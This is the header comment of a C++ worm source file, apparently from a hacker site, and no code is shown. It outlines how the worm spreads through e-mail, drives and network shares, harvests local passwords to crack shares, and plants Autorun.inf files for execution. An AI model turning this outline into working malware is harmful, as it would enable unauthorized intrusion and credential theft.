A worm in cpp

// ---[ w0rm.cpp ]-----------------------------[ http://harmony.haxors.com ]--//
//
// An exploration into remote network propogation using multiple techniques.
// The w0rm will spread via e-mail (MAPI) all local drives and any writable
// network shares. It collects passwords on the local system to be used in
// cracking any password protected shares on the network. It will write an
// Autorun.inf file in the root of any drives it can so when you open that
// drive, e.g. double click it the w0rm will execute and go resident :).
// This code is obviously buggy and not intended to be actually used in the
// 'real' world. To determine if the payload should be deployed the w0rm
// sits on the network and plays a 'game' with other w0rms on that network
// segment via broadcast UDP messages. see relevant source for a proper
// idea of the 'game', its just a perverse example of too much time on ones
// hands :). this is version 1.00 so the are bugs, incompatabilities with
// various flavors of windows and other anomolies - dose! but if you want
// something better write it yourself ;) (and send me a copy)
//
//               "this is the end, beautiful friend" - the doors
